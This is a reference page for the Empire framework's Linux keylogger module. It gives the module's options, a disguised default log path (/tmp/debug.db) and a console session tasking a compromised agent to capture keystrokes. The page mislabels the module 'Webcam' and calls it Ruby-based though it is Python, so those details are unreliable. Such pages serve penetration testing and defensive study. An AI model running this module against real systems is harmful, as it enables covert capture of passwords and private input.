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This page contains detailed information about how to use the python/collection/linux/keylogger Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Webcam
Module: python/collection/linux/keylogger
Source code: empire/server/modules/python/collection/linux/keylogger.yaml
MITRE ATT&CK: T1056
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The keylogger module logs keystrokes to the specified file. Ruby based and heavily adapted from MSF's osx/capture/keylog_recorder. Kill the resulting PID when keylogging is finished and download the specified LogFile.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the keylogger module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the keylogger module:

Agent
Agent to keylog.

LogFile
Text file to log keystrokes out to.
Default value: /tmp/debug.db.

Keylogger Example Usage

Here's an example of how to use the keylogger module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/collection/linux/keylogger

 Author       joev                                                                  
              @harmj0y                                                              
 Background   False                                                                 
 Comments     https://github.com/amoffat/pykeylogger                                
 Description  Logs keystrokes to the specified file. Ruby based and heavily adapted 
              from MSF's osx/capture/keylog_recorder. Kill the resulting PID when   
              keylogging is finished and download the specified LogFile.            
 Language     python                                                                
 Name         python/collection/linux/keylogger                                     
 NeedsAdmin   False                                                                 
 OpsecSafe    False                                                                 
 Techniques   http://attack.mitre.org/techniques/T1056                              


,Record Options-----------,----------,-------------------------------------,
| Name    | Value         | Required | Description                         |
|---------|---------------|----------|-------------------------------------|
| Agent   |               | True     | Agent to keylog.                    |
|---------|---------------|----------|-------------------------------------|
| LogFile | /tmp/debug.db | True     | Text file to log keystrokes out to. |
'---------'---------------'----------'-------------------------------------'

(Empire: usemodule/python/collection/linux/keylogger) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/linux/keylogger) > set LogFile /tmp/debug.db
[*] Set LogFile to /tmp/debug.db
(Empire: usemodule/python/collection/linux/keylogger) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
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